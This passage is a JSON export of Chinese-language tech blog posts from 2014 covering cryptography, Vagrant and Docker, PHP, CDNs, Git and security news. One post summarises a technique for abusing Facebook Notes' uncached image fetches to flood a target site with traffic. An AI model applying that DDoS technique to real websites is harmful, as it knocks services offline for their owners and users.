href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=917571\">Bug 917571 - Support ChaCha20+Poly1305 cipher suites</a>」。",
    "title": "ChaCha20-Poly1305 在 Android 上帶來的效能"
  },
  {
    "id": "4572",
    "body": "兩則新聞，第一則是 <a href=\"https://en.wikipedia.org/wiki/Vic_Gundotra\">Vic Gundotra</a> (<a href=\"https://plus.google.com/\">Google+</a> 的頭) 離開 <a href=\"https://www.google.com/\">Google</a>：「<a href=\"http://arstechnica.com/gadgets/2014/04/vic-gundotra-the-head-of-google-leaves-google/\">Vic Gundotra, the head of Google+, leaves Google</a>」。\r\n\r\n第二則則是本來集中在 Google+ 的團隊將會放到其他團隊：「<a href=\"http://arstechnica.com/gadgets/2014/04/report-google-to-end-forced-g-integration-drastically-cut-division-resources/\">Report: Google to end forced G+ integration, drastically cut division resources</a>」。\r\n\r\n<a href=\"https://twitter.com/\">Twitter</a> 上馬上就有人想到 Google Reader 這個犧牲品... (而且大家都對 <a href=\"https://feedly.com/\">Feedly</a> 做的很爛但沒什麼可用的替代品感到無奈)\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>“<a href=\"https://twitter.com/newsycombinator\">@newsycombinator</a>: A totally simple way Google could have avoided f***ing up Google+ <a href=\"http://t.co/Q78HgwOwCj\">http://t.co/Q78HgwOwCj</a>” 糙 還我 Google Reader</p>&mdash; Ash Wu (@hSATAC) <a href=\"https://twitter.com/hSATAC/statuses/459589964007628801\">April 25, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n嗯哼...",
    "title": "Google 以 Google+ 為中心的思想"
  },
  {
    "id": "4574",
    "body": "<a href=\"http://golang.org/\">Go</a> 的 self-boot 計畫，也就是用 Go compiler 編 Go compiler：「<a href=\"http://gophercon.sourcegraph.com/post/83820197495/russ-cox-porting-the-go-compiler-from-c-to-go\">Russ Cox – porting the Go compiler from C to Go</a>」。\r\n\r\n其中提到：\r\n\r\n<blockquote>The goal is to convert *their* C code (not all C code). They want generated code to be human-readable and maintainable. They want automatic conversion to handle 99+% of code.</blockquote>\r\n\r\n第一波想要用機器轉換過去，而且要轉出可維護的程式碼。可以馬上想到的事情是，如果這件事情成功，代表現有軟體的 C code 也有機會轉移？\r\n\r\n接下來了幾個版本會開始發展整套機制，有得瞧了 :p",
    "title": "Go 的 self-boot 計畫"
  },
  {
    "id": "4576",
    "body": "在一月時，<a href=\"https://www.facebook.com/\">Facebook</a> 官方的 <a href=\"https://code.facebook.com/posts/\">Engineering Blog</a> 上提到 Facebook 使用 <a href=\"http://mercurial.selenic.com/\">Mercurial</a> 遇到的問題，以及所作的努力「<a href=\"https://code.facebook.com/posts/218678814984400/scaling-mercurial-at-facebook/\">Scaling Mercurial at Facebook</a>」：\r\n\r\n<blockquote>Facebook's main source repository is enormous--many times larger than even the Linux kernel, which checked in at 17 million lines of code and 44,000 files in 2013.\r\n\r\n...\r\n\r\nInstead, we chose to improve Mercurial. Mercurial is a distributed source control system similar to Git, with many equivalent features.</blockquote>\r\n\r\n當時的解讀是 Facebook 把 main source repository 放到 Mercurial 上。\r\n\r\n以 Facebook 的規模以及遇到的問題，是有能力直接改變世界的，用 Mercurial 或是 <a href=\"http://git-scm.com/\">Git</a> 都算是合理的選擇。\r\n\r\n不過這幾天在 <a href=\"https://twitter.com/\">Twitter</a> 上看到：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Facebook&#39;s git repo is 54 GB. <a href=\"http://t.co/zLNSzDlFYF\">pic.twitter.com/zLNSzDlFYF</a></p>&mdash; Feross (@feross) <a href=\"https://twitter.com/feross/statuses/459259593630433280\">April 24, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這讓人錯亂了啊 XDDD",
    "title": "Facebook 的主程式碼放在 Git？"
  },
  {
    "id": "4578",
    "body": "很... 酸... XDDD\r\n\r\n<img src=\"//i.imgur.com/FMzmeVp.png\" alt=\"\" />\r\n<small>取自「<a href=\"http://xkcd.com/1361/\">xkcd: Google Announcement</a>」。</small>\r\n\r\n大概是因為發言人講的話跟沒講一樣，當然也有可能是大家對 <a href=\"https://plus.google.com/\">Google+</a> 積怨已久 XDDD",
    "title": "xkcd 對 Google+ 主管離職後的對外說明..."
  },
  {
    "id": "4580",
    "body": "實際的世界都是由 workaround 疊 workaround 解決問題的...\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> 資料庫一般都用 RAID 10，利用 RAID 1 的特性保護資料，並且利用 RAID 0 的特性提昇 IOPS 能力。\r\n\r\n而這些 RAID 卡通常都會提供 cache，預設應該都會開 read cache，可以大幅增加 random read 的速度。而另外也可以打開 write cache (也就是 write-back)，寫入時先寫到 cache 裡，RAID 卡馬上就會跟作業系統回報完成，藉以加速 random write 的速度。\r\n\r\n但這樣就會有風險，當資料還沒寫入硬碟就斷電時就會遺失資料。所以在設定 write-back 的 RAID 卡上安裝電池就變成解法之一。\r\n\r\n而電池會有壽命問題，所以配電池的 RAID 卡會每隔一陣子就放電測試電池可以撐多久，但在放電測試時，如果斷電就有可能造成資料遺失，於是又冒出很多方法解決。\r\n\r\n也就是在「<a href=\"http://jeremytinley.wordpress.com/2014/04/28/learning-to-deal-with-learning/\">Learning to Deal With Learning</a>」這篇提到 RAID 卡電池維護的事情。\r\n\r\n每一層都是 workaround 想辦法解決問題，然後再用 workaround 解決前面造成的問題...\r\n\r\nAnyway，有幾種解法，其中仍然對上層作業系統與應用程式透明的解法是：\r\n\r\n<ul>\r\n\t<li>雙電池架構，很明顯的可以一次只測一顆。</li>\r\n\t<li>改用 NVRAM，就不需要電池了，不過速度以及成本會是另外一個問題。</li>\r\n</ul>\r\n\r\n另外，對上層作業系統與應用程式有影響的方式：\r\n\r\n<ul>\r\n\t<li>放電測試時將 write cache 關閉，切回 write-through。這點在原文裡也有提到，效能其實會受到蠻大的影響。</li>\r\n\t<li>不放電測試了，但這樣的缺點就是拿安全性交換，當斷電時不知道能不撐過去。</li>\r\n\t<li>或是自己控制放電測試的時間，這可以配合上面切回 write-through 的方式，挑負載比較輕的離峰時間做。</li>\r\n</ul>\r\n\r\n看了下來雙電池架構還不錯，增加的成本還算可以接受，而且因為效能不受到影響，也確保資料安全性，整體維護起來比較簡單。而之後在規模更大的時候，應該就會直接考慮跳到自己放電測試的方式來處理電池問題...",
    "title": "RAID 卡的電池維護"
  },
  {
    "id": "4585",
    "body": "<a href=\"http://www.vagrantup.com/\">Vagrant</a> 1.6 將會支援 <a href=\"https://www.docker.io/\">Docker</a>：「<a href=\"http://www.vagrantup.com/blog/feature-preview-vagrant-1-6-docker-dev-environments.html\">Feature Preview: Docker-Based Development Environments</a>」。\r\n\r\n對於 <a href=\"http://www.linux.org/\">Linux</a> 原生環境沒有問題，而對於非 Linux 環境，Vagrant 會建立一台跑 Linux 的虛擬機，然後在裡面跑 Docker，很有趣的作法 :p (反正想辦法支援)\r\n\r\nDocker 與虛擬機的速度當然是沒辦法比較 (Docker 快太多)，如果 1.6 穩定的話，應該要花不少時間來研究整合了 :p",
    "title": "Vagrant 1.6 將會支援 Docker"
  },
  {
    "id": "4587",
    "body": "在「<a href=\"http://chr13.com/2014/04/20/using-facebook-notes-to-ddos-any-website/?\">Using Facebook Notes to DDoS any website</a>」這篇文章裡提到了利用 Facebook Notes 允許使用者嵌入 <code>&lt;img&gt;</code> 標籤時的特性，利用 <a href=\"https://www.facebook.com/\">Facebook</a> 的 server 進行 DDoS...\r\n\r\n在 Notes 一般的 <code>&lt;img&gt;</code> 會被 Facebook 的伺服器 cache 起來，但如果是帶有 query string 的 &lt;img&gt; 就不會 cache (因為不同的 query string 表示不同的 url 是合理的)，於是就可以利用這個特性打出超高的流量：\r\n\r\n<img src=\"//i.imgur.com/te68wAs.png\" alt=\"\" />\r\n\r\n這個問題被 Facebook 認為不是問題，不會也不打算修正...\r\n\r\n文章後提到的指令還蠻有趣的，要抓出某個 <a href=\"https://en.wikipedia.org/wiki/Autonomous_System_(Internet)\">AS number</a> 有哪些 IP address，可以用這樣的指令抓出來：\r\n\r\n<code>whois -h whois.radb.net — '-i origin AS32934' | grep ^route</code>\r\n\r\n試著抓了 AS9916 與 AS18185，的確是蠻有趣的東西 XD",
    "title": "利用 Facebook Notes 對圖片 cache 的特性發動 DDoS 攻擊"
  },
  {
    "id": "4593",
    "body": "把 <a href=\"http://www.php.net/\">PHP</a> 的 <a href=\"http://www.php.net/manual/en/book.memcached.php\">Memcached</a> 整理一下，未必適合其他人用。\r\n\r\n設定上：\r\n\r\n<ul>\r\n\t<li>平常應該要打開 libketama 相關設定，包含了 <code>OPT_DISTRIBUTION</code> 與 <code>OPT_LIBKETAMA_COMPATIBLE</code>。</li>\r\n\t<li>多台 server 要注意使用 hostname 或是 IP address 連線 (尤其跨程式語言時)，在 consistent hash 時會有差異。要避免因為 hostname 發生的問題，可以把這段設定放到 JSON 檔裡與其他程式語言共用。</li>\r\n\t<li>使用 <code>SERIALIZER_JSON</code>，一樣是為了與其他程式語言相容。</li>\r\n</ul>\r\n\r\n使用上：\r\n\r\n<ul>\r\n\t<li><code>add()</code> 在 key 存在時會失敗，<code>set()</code> 則會覆蓋過去。</li>\r\n\t<li>在 <code>add()</code>、<code>set()</code> 裡的 expiration 參數是 UNIX timestamp，而非直覺的秒數...</li>\r\n\t<li><code>get()</code> 的 callback 不應該使用，因為無法設定 expire time。</li>\r\n\t<li><a href=\"http://www.memcached.org/\">memcached</a> 的 manual 有寫預設值是使用冒號 (<code>:</code>) 當作 key 的分隔，這對於統計資料會有幫助。</li>\r\n</ul>\r\n\r\n先整理到這...",
    "title": "PHP 的 Memcached 的眉眉角角..."
  },
  {
    "id": "4599",
    "body": "其實就是商業公司之間的勾心鬥角，在包裝後搬到檯面上 :p\r\n\r\n<a href=\"http://netflix.com/\">Netflix</a> 在美國固網裡吃的流量比 <a href=\"https://www.youtube.com/\">YouTube</a> 還多，可想而知當然就變成各 ISP 找麻煩的對象...\r\n\r\n<img src=\"//i.imgur.com/wDDMQxh.png\" alt=\"\" />\r\n<small>出自 <a href=\"https://www.sandvine.com/\">Sandvine</a> 的「<a href=\"https://www.sandvine.com/downloads/general/global-internet-phenomena/2013/2h-2013-global-internet-phenomena-report.pdf\">Global Internet Phenomena Report 2H 2013</a>」。</small>\r\n\r\nNetflix 有多種方式將影片傳遞給使用者。除了早期自建機房外，後來跟不少 CDN 有業務往來 (包括了 <a href=\"http://www.akamai.com/\">Akamai</a>、<a href=\"http://www.limelight.com/\">Limelight</a>、<a href=\"http://www.level3.com/\">Level3</a>)，另外也有 <a href=\"https://www.netflix.com/openconnect\">Netflix Open Connect Content Delivery Network</a> 計畫，直接在 ISP 內部機房放設備提供服務。\r\n\r\n使用 CDN 的作法成本太高，而 ISP 又不一定會接受 Open Connect 方案 (因為不一定收的到錢)，在這種情況下，如果走 transit 線路的速度通常都不會太好。而 Netflix 與 <a href=\"http://www.comcast.com/\">Comcast</a> 之間的狀況就是如此：\r\n\r\n<img src=\"//i.imgur.com/5xEzs9a.png\" alt=\"\" />\r\n\r\n在付給 Comcast 錢後速度都都解決了...\r\n\r\n除了付錢解決外，上個禮拜 Netflix 就丟出一篇說明的文章發難了：「<a href=\"http://blog.netflix.com/2014/04/the-case-against-isp-tolls.html\">The Case Against ISP Tolls</a>」，這篇文章除了提到上面的事情外，另外還極力反對 Comcast 與 <a href=\"http://www.timewarnercable.com/\">Time Warner Cable</a> 的併購案 XDDD\r\n\r\n然後最近又炒熱的網路中立問題，看起來也這件案子應該會很熱鬧 XDDD",
    "title": "Netflix 與 Comcast 的恩怨"
  },
  {
    "id": "4602",
    "body": "在「<a href=\"http://blog.endpoint.com/2014/05/git-workflows-that-work.html\">Git Workflows That Work</a>」這篇提到了不少 <a href=\"http://git-scm.com/\">Git</a> 的 Workflow，從中可以看到各家的開發模式，以及想要解決的問題：\r\n\r\n<img src=\"//i.imgur.com/apedwEh.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/txLGRSl.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/87xVLsO.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/b2NtXwu.jpg\" alt=\"\" />\r\n\r\n主要還是要看環境而決定，並不是哪一種 flow 就一定好...",
    "title": "Git 的 Workflow"
  },
  {
    "id": "4604",
    "body": "即使 <a href=\"https://zh.wikipedia.org/wiki/Windows_XP\">Windows XP</a> 在上個月就已經停止安全性更新，但這次的 <a href=\"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1776\">CVE-2014-1776</a> 影響層面還是太廣，微軟還是提供 Windows XP 用戶相關的 patch (透過 Windows Update 發送)：\r\n\r\n<blockquote>Use-after-free vulnerability in VGX.DLL in Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, as exploited in the wild in April 2014.</blockquote>\r\n\r\n在「<a href=\"http://blogs.technet.com/b/msrc/archive/2014/05/01/security-update-released-to-address-recent-internet-explorer-vulnerability.aspx\">Security Update Released to Address Recent Internet Explorer Vulnerability</a>」也可以看到說明。\r\n\r\n看到 use-after-free 這個詞就想到 <a href=\"https://www.openssl.org/\">OpenSSL</a> 前陣子也來一發 <a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5298\">CVE-2010-5298</a> (居然是 2010 年的 CVE)，讓人... XD",
    "title": "微軟的 IE6+ 安全性更新"
  },
  {
    "id": "4606",
    "body": "<a href=\"http://www.mailgun.com/\">Mailgun</a> 這篇提供用戶端更換 API key 的作法還蠻有趣的：「<a href=\"http://blog.mailgun.com/post/swap-out-your-api-keys-with-no-downtime/\">Swap out your API keys with no downtime</a>」。\r\n\r\n<img src=\"//i.imgur.com/h1KXI0V.png\" alt=\"\" />\r\n\r\n舊的 API key 不會馬上失效。不過，比較常見的情況應該是服務提供商提供多組 API key 的能力就可以了？像是 AWS 就可以做到。用戶端換完後把舊的 API key 拿掉即可。",
    "title": "服務供應商更換用戶端 API key 的作法"
  },
  {
    "id": "4608",
    "body": "先說 <a href=\"https://onedrive.live.com/about/en-us/business/\">Microsoft OneDrive for Business</a>，這個產品的定位是：\r\n\r\n<blockquote>OneDrive for Business is cloud storage for business.\r\n<small>(取自 OneDrive for Business 網站 html 內的 description。)</small></blockquote>\r\n\r\n但前幾天看到「<a href=\"http://www.myce.com/news/microsoft-onedrive-for-business-modifies-files-as-it-syncs-71168/\">Microsoft OneDrive for Business modifies files as it syncs</a>」這篇新聞，提到 OneDrive for Business 會修改檔案內容：\r\n\r\n<img src=\"//i.imgur.com/IsyZvAm.png\" alt=\"\" />\r\n<small>透過 MD5 確認發現 MD5 值不相符的 screenshot。</small>\r\n\r\n<img src=\"//i.imgur.com/z2w9Mmd.png\" alt=\"\" />\r\n<small>實際檢查後發現被插入的部份。</small>\r\n\r\n不像是 cloud storage 應該有的行為...",
    "title": "Microsoft OneDrive for Business 會主動修改檔案內容..."
  },
  {
    "id": "4621",
    "body": "這陣子 <a href=\"http://www.openssh.com/\">OpenSSH</a> 的人努力降低對 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的相依性，目前 (<a href=\"http://article.gmane.org/gmane.os.openbsd.cvs/130612\">2014-04-29 18:01:49 GMT</a>) 已經拔到把 OpenSSL 拔掉後仍然有數個演算法可用 (離可用還是有一段距離)：\r\n\r\n<blockquote>make compiling against OpenSSL optional (make OPENSSL=no);\r\nreduces algorithms to curve25519, aes-ctr, chacha, ed25519;\r\nallows us to explore further options; with and ok djm</blockquote>\r\n\r\n<a href=\"http://cr.yp.to/ecdh.html\">Curve25519</a> 用在 ECDH，而 AES-CTR 與 ChaCha20+Poly1305 用在對稱加密，<a href=\"http://ed25519.cr.yp.to/\">Ed25519</a> 用在非對稱加密，其中三個剛好是一整套 <a href=\"http://cr.yp.to/djb.html\">djb</a> 大全集 XD\r\n\r\n不過缺了 RSA 還是有點痛啊，看看會不會實做出來吧？",
    "title": "OpenSSH 降低對 OpenSSL 的相依性"
  },
  {
    "id": "4626",
    "body": "前幾天提到的 <a href=\"http://www.vagrantup.com/\">Vagrant</a> 1.6 正式發行了：「<a href=\"http://www.vagrantup.com/blog/vagrant-1-6.html\">Vagrant 1.6</a>」，然後下載的地方已經迅速跳版號出 1.6.1 了...\r\n\r\n用 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的人可以直接抓 deb 檔後用 <code>dpkg -i</code> 安裝...\r\n\r\n官方列出三個大進展：\r\n\r\n<h3>Global Status and Control</h3>\r\n\r\n以往是分散管理，現在可以統一管理。對於有開很多 Vagrant 環境的人會變得方便，不然以往都要自己開 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 確認。\r\n\r\n<h3>Windows Guests</h3>\r\n\r\n標題說明一切 XDDD\r\n\r\n<h3>Docker-Based Development Environments</h3>\r\n\r\n開一個 <a href=\"https://www.docker.io/\">Docker</a> container 的速度比開一個 VirtualBox 快很多。當然，開出來是 <a href=\"http://www.linux.org/\">Linux</a> 環境。但這對於跑測試之類的應用非常好用，速度會是重要的因素之一...\r\n\r\n完整的 Changelog 可以看 <a href=\"https://github.com/\">GitHub</a> 上 1.6.0 版的「<a href=\"https://github.com/mitchellh/vagrant/blob/v1.6.0/CHANGELOG.md\">CHANGELOG.md</a>」。",
    "title": "Vagrant 1.6"
  },
  {
    "id": "4632",
    "body": "今年一月的時候 <a href=\"http://www.cloudflare.com/\">CloudFlare</a> 宣佈針對使用 TLS 1.1+ 的使用者停用 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>：「<a href=\"http://blog.cloudflare.com/killing-rc4\">Killing RC4 (softly)</a>」。\r\n\r\n而現在 (五月) 則直接從 cipher priority 上拔掉 RC4：「<a href=\"http://blog.cloudflare.com/killing-rc4-the-long-goodbye\">Killing RC4: The Long Goodbye</a>」。\r\n\r\n切換後的資料其實非常有趣：\r\n\r\n<img src=\"//i.imgur.com/aIFeUGR.png\" alt=\"\" />\r\n\r\n可以看到本來用 RC4 的有兩塊，一塊是 ECDHE-RC4，一塊是 RSA-RC4。在 RC4 被拿掉後，就流竄到 ECDHE-AES-CBC 與 RSA-AES-CBC... (這兩個本來就可以預期)\r\n\r\n但冒出 RSA-3DES 是怎樣 XDDD\r\n\r\nAnyway，CloudFlare 在目前市場上算是很大的 provider，由他們出面率先拔掉 RC4 會對整個市場有正面的影響。接下來看看還有誰會動手？",
    "title": "CloudFlare 停用 RC4 後的現象，以及後續..."
  },
  {
    "id": "4635",
    "body": "<blockquote class=\"twitter-tweet\" lang=\"en\"><p>We&#39;re Hiring! Major Account Executive Job (Taiwan, CN) <a href=\"http://t.co/1n1k7YsesR\">http://t.co/1n1k7YsesR</a></p>&mdash; Akamai Technologies (@Akamai) <a href=\"https://twitter.com/Akamai/statuses/464335973816729600\">May 8, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n抓圖：\r\n\r\n<img src=\"//i.imgur.com/E0bN36W.png\" alt=\"\" />\r\n\r\n<strong>Update</strong>：頁面上的地點已經修改成 Taipei, TW 了。",
    "title": "什麼鬼..."
  },
  {
    "id": "4637",
    "body": "剛剛 <a href=\"http://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 也加入 Free Tier 產品線：「<a href=\"https://aws.amazon.com/blogs/aws/cloudfront-free-usage-tier/\">Amazon CloudFront Joins the AWS Free Usage Tier</a>」。\r\n\r\n一個月 50GB 以及兩百萬次的 request，所有地區統一計算。\r\n\r\n競爭愈來愈激烈了...",
    "title": "Amazon CloudFront 也加入 Free Tier 了..."
  },
  {
    "id": "4642",
    "body": "本來以為寫過了，後來找了找沒找到...\r\n\r\n星期五的時候跟 <a href=\"https://twitter.com/gasolwu\">Gasol</a> 聊了一下，後來查資料後整理出來。(主要是 <a href=\"http://www.php.net/manual/en/function.include.php\">include</a> 的文件說明)\r\n\r\n<code>require</code> 與 <code>include</code> 的差異在於找不到檔案時，<code>include</code> 會產生 warning，而 <code>require</code> 會產生 fatal error：\r\n\r\n<blockquote>The <code>include</code> construct will emit a warning if it cannot find a file; this is different behavior from <code>require</code>, which will emit a fatal error.</blockquote>\r\n\r\n而對 <code>include_path</code> 的處理則是「遇到有指定 path 時就忽略 <code>include_path</code>」，而對 <code>require './foo.php'</code> 的解讀是「relative to the current directory」：\r\n\r\n<blockquote>If a path is defined — whether absolute (starting with a drive letter or \\ on Windows, or / on Unix/Linux systems) or relative to the current directory (starting with . or ..) — the include_path will be ignored altogether. For example, if a filename begins with ../, the parser will look in the parent directory to find the requested file.</blockquote>\r\n\r\n由於不是「檔案所在的路徑」而是「current directory」，會受到 <code>chdir()</code> 的影響。一般在程式碼內的基準應該是「這個 script 所在的路徑」，而非「current directory」，所以寫法應該是：\r\n\r\n<code>&lt;?php\r\nrequire __DIR__ . PATH_SEPARATOR . 'foo.php';</code>\r\n\r\n<code>&lt;?php\r\n# 直接假設在 <a href=\"http://www.apple.com/osx/\">Mac OS X</a> &amp; <a href=\"http://www.linux.org/\">Linux</a> &amp; <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上跑...\r\nrequire __DIR__ . '/foo.php'; </code>\r\n\r\n而這種寫法就得依靠 <code>include_path</code> 內有 <code>.</code>，而且還要祈禱不會在其他的目錄裡出現同樣檔名：\r\n\r\n<code>&lt;?php\r\nrequire 'foo.php';</code>",
    "title": "關於 PHP 的 require 與 include (以及 *_once)"
  },
  {
    "id": "4649",
    "body": "<a href=\"https://www.eff.org/\">EFF</a> 推出新的延伸套件 (有 Firefox 與 Google Chrome 版)，透過演算法阻擋嘗試追蹤你的單位：「<a href=\"https://www.eff.org/privacybadger\">Privacy Badger</a>」。\r\n\r\n在官網上有比較技術面的說明：\r\n\r\n<blockquote>At a more technical level, Privacy Badger keeps note of the \"third party\" domains that embed images, scripts and advertising in the pages you visit. If a third party server appears to be tracking you without permission, by using uniquely identifying cookies to collect a record of the pages you visit across multiple sites, Privacy Badger will automatically disallow content from that third party tracker. In some cases a third-party domain provides some important aspect of a page's functionality, such as embedded maps, images, or fonts. In those cases Privacy Badger will allow connections to the third party but will screen out its tracking cookies.</blockquote>\r\n\r\n技術上的作法是分析 third party domain 的行為，用演算法阻擋可能的追蹤。與 <a href=\"https://www.ghostery.com/\">Ghostery</a> 這類工具使用人力建立清單的方法不太一樣。\r\n\r\n裝起來跑看看，感覺還蠻有趣的...",
    "title": "EFF 的 Privacy Badger"
  },
  {
    "id": "4652",
    "body": "<a href=\"https://www.flickr.com/photos/gslin/13974045260/\"><img src=\"//farm8.staticflickr.com/7412/13974045260_cce2484854_z.jpg\" alt=\"\" /></a>\r\n\r\n有時候會被問到為什麼這麼喜歡把東京當後院在跑，當然是有很多理由啦... 其中一個理由是在享受細節。\r\n\r\n上面這張圖是在東京站 (<a href=\"http://www.tokyometro.jp/\">東京地下鐵</a>丸之內線) 拍的指示牌，不只是這個指示牌，東京內的 JR 或是地鐵都可以感覺到裡面的魔鬼。\r\n\r\n如果去忠孝新生走走就會知道差異了。",
    "title": "東京"
  },
  {
    "id": "4656",
    "body": "用 <a href=\"https://www.docker.io/\">Docker</a> 最大的好處就是啟動速度，比 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 快非常多，但 <a href=\"http://www.vagrantup.com/\">Vagrant</a> 官方對於 Docker provider 的範例還是太少，踹了老半天才踹出來：\r\n\r\n<pre>ENV[\"VAGRANT_DEFAULT_PROVIDER\"] = \"docker\"\r\n\r\nVAGRANTFILE_API_VERSION = \"2\"\r\n\r\nVagrant.configure(VAGRANTFILE_API_VERSION) do |config|\r\n    config.vm.provider \"docker\" do |docker, override|\r\n        docker.image = \"fgrehm/vagrant-ubuntu:precise\"\r\n        docker.has_ssh = true\r\n\r\n        override.ssh.port = 22\r\n    end\r\nend</pre>\r\n\r\n然後用 <code>vagrant up</code> 跑起來，接下來就可以用 <code>vagrant ssh</code> 連進去。\r\n\r\n其中 <code>override</code> 是目前的 workaround，可以參考 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/mitchellh/vagrant/issues/3799\">Docker provider: cannot &#39;vagrant ssh&#39; when not using a Docker host VM · Issue #3799 · mitchellh/vagrant</a>」。\r\n\r\nDocker 的 image 不透過 Vagrant 管理，而是 Docker 自己處理。可以用 <code>docker images</code> (列出) 與 <code>docker rmi [repository]</code> (刪除) 操作。",
    "title": "總算是搞定 Vagrant + Docker..."
  },
  {
    "id": "4662",
    "body": "維基百科對 APT (<a href=\"https://en.wikipedia.org/wiki/Advanced_persistent_threat\">Advanced Persistent Threat</a>) 的定義是：\r\n\r\n<blockquote>Advanced Persistent Threat (APT) APT is a set of stealthy and continuous computer hacking processes, often orchestrated by human(s) targeting a specific entity.</blockquote>\r\n\r\n針對特定個人或團體進行攻擊，這邊的 entity 通常是指有權限存取系統，或是手上握有機敏資料的人，這些人的帳號密碼，或是系統權限是有價值的。\r\n\r\n這幾年因為行動裝置普及，再加上行動裝置上驗證起來會比較麻煩，成為 APT 攻擊的首選。\r\n\r\n下面就原文照登：\r\n\r\n<img src=\"//i.imgur.com/P417Cy0.png\" alt=\"\" />",
    "title": "APT (Advanced Persistent Threat)"
  },
  {
    "id": "4666",
    "body": "最近幾天在密碼學領域還蠻紅的話題 (雖然預印本在去年就發了)，<a href=\"http://ec14.compute.dtu.dk/\">EUROCRYPT 2014</a> 上發表對 DLP (<a href=\"https://en.wikipedia.org/wiki/Discrete_logarithm\">Discrete Log Problem</a>) 的重大進展。\r\n\r\n論文在 <a href=\"http://arxiv.org/\">arXiv</a> 上可以取得：「<a href=\"http://arxiv.org/abs/1306.4244\">A quasi-polynomial algorithm for discrete logarithm in finite fields of small characteristic</a>」。\r\n\r\n針對使用小特徵值的有限域 (finite field) 的 DLP 問題 (也就是 Z<sub>q<sup>k</sup></sub> 上) 直接從 sub-exponential 降到 n<sup>O(logn)</sup> (quasi-polynomial)。最常見到的應該是 Z<sub>2<sup>n</sup></sub>。\r\n\r\n雖然現有被廣泛使用的密碼系統在使用 DLP 建構時都是用 Z<sub>p</sub>，但這次的成果絕對寫下了 DLP cryptoanalysis 上的里程碑...",
    "title": "Small Characteristic DLP (Discrete Log Problem) 被解決"
  },
  {
    "id": "4668",
    "body": "<img src=\"//i.imgur.com/0rFJTit.jpg\" alt=\"\" />\r\n\r\n在虛擬機裡面跑虛擬機 (為了熟悉 <a href=\"http://www.vmware.com/products/vsphere-hypervisor\">VMware ESXi</a>？)：「<a href=\"http://rwmj.wordpress.com/2014/05/19/notes-on-getting-vmware-esxi-to-run-under-kvm/\">Notes on getting VMware ESXi to run under KVM</a>」。\r\n\r\n<img src=\"//i.imgur.com/ap29ttz.png\" alt=\"\" />\r\n\r\n也許應該來玩看看 XDDD",
    "title": "在 KVM 裡面跑 VMware ESXi"
  },
  {
    "id": "4670",
    "body": "在「<a href=\"http://threatpost.com/facebook-takes-tougher-stand-against-breach-attack/106152\">Facebook Takes Tougher Stand Against BREACH Attack</a>」這篇提到 <a href=\"https://www.facebook.com/\">Facebook</a> 在 2012 年對抗 <a href=\"https://en.wikipedia.org/wiki/BREACH_(security_exploit)\">BREACH attack</a> 的方法：\r\n\r\n在文章最後面有提到當時一般建議的 migrate 方式 (關閉 TLS 的壓縮) 不適用於 Facebook：\r\n\r\n<blockquote>Turning off compression is not an option for large dynamic sites such as Facebook because it would hinder performance dramatically.</blockquote>\r\n\r\n而且就算關掉 TLS 的 compression，也還是有疑慮：\r\n\r\n<blockquote>Even if TLS-level compression is disabled, it is very common to use gzip at the HTTP level. Furthermore, it is very common that secrets (such as CSRF tokens) and user input are included in the same HTTP response, and therefore (very likely) in the same compression context,</blockquote>\r\n\r\n節錄幾段 migrate 的重點：\r\n\r\n<blockquote>Facebook disclosed how it’s mitigating BREACH attacks by changing the frequency in which it rotates CSRF tokens from daily to each time a Facebook session is started.</blockquote>\r\n\r\n本來 CSRF token 變更的頻率是好幾天一次，把頻率拉高...\r\n\r\n<blockquote>After a new token is issued, the previous tokens still remain valid for a couple days, resulting in multiple tokens being permissible simultaneously.</blockquote>\r\n\r\n然後舊的 token 還是會保持一段時間有效。\r\n\r\n因為現實因素而沒辦法在 TLS 層關閉，後面在 application level 的 workaround 相當費功... (而且要多花不少資源？)",
    "title": "Facebook 在對抗 BREACH Attack 的方法"
  },
  {
    "id": "4672",
    "body": "<a href=\"http://webscalesql.org/\">WebScaleSQL</a> 是 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://www.google.com/\">Google</a>、<a href=\"https://www.linkedin.com/\">LinkedIn</a> 以及 <a href=\"https://twitter.com/\">Twitter</a> 四家公司對 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 的 fork。\r\n\r\n而 <a href=\"http://www.percona.com/\">Percona</a> 的人也針對 WebScaleSQL 與 <a href=\"http://www.percona.com/doc/percona-server/5.6/\">Percona Server 5.6</a> 的比較，寫了一篇技術分析的文章：「<a href=\"http://www.mysqlperformanceblog.com/2014/05/22/comparing-webscalesql-percona-server/\">A technical WebScaleSQL review and comparison with Percona Server</a>」。\r\n\r\nPercona 那篇分析文章提到不少改善屬於比較激進類型，對於 <a href=\"http://www.percona.com/doc/percona-server/\">Percona Server</a> 以及 MySQL 官方版本的定位並不適合。\r\n\r\n而在開發上，語法也換到 <a href=\"https://en.wikipedia.org/wiki/C99\">C99</a> 與 <a href=\"https://en.wikipedia.org/wiki/C++11\">C++11</a>，也就是打算拋棄很舊的系統 (沒有 C99/C++11 